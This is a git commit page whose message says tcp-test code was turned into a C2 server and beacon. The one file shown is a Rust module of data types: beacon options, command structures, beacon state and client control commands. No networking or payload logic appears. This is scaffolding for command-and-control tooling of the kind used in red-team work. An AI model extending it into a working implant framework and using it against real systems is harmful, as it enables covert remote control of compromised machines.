took the tcp-test code and made a C2 server/beacon

This commit is contained in:
Andrew Rioux
2023-12-05 09:33:06 -05:00
parent 8c0ae083fe
commit 56f39ad64c
12 changed files with 1350 additions and 110 deletions

View File

@@ -0,0 +1,55 @@
use std::net::Ipv4Addr;
use chrono::prelude::*;
use serde::{Deserialize, Serialize};
pub const CONF_SEPARATOR: &'static [u8] = b"3ce6b7d3741941cbb88756c52ea8afdff45989fc440d47f295f77e068d3e19d4693c007b767b476cac7080c5cfb0bb63";
pub const CLIENT_PORT: u16 = 2034;
#[derive(Deserialize, Serialize, PartialEq, Eq, Clone)]
pub struct BeaconId(pub String);
#[derive(Deserialize, Serialize, PartialEq, Eq, Clone, Copy)]
pub struct CommandId(pub u32);
#[derive(Deserialize, Serialize)]
pub struct BeaconOptions {
pub target_ip: Ipv4Addr,
pub target_port: u16,
pub source_ip: Ipv4Addr,
pub sleep_secs: u32,
}
#[derive(Deserialize, Serialize, Clone)]
pub struct Command {
pub beacon_id: Option<BeaconId>,
pub command_id: CommandId,
pub command: String,
}
#[derive(Deserialize, Serialize, Clone)]
pub struct BeaconInfo {
pub id: BeaconId,
pub port: u16,
pub last_connection: Option<DateTime<Utc>>,
pub done_commands: Vec<(CommandId, DateTime<Utc>)>,
}
#[derive(Deserialize, Serialize)]
pub enum BeaconCommand {
Command(Command),
Noop,
}
#[derive(Deserialize, Serialize)]
pub enum ClientCommand {
GetState,
ListenFor(String, u16),
Stop(String),
SendCommand(Option<BeaconId>, String),
}
#[derive(Deserialize, Serialize)]
pub enum ClientResponse {
StateUpdate(Vec<BeaconInfo>, Vec<Command>),
}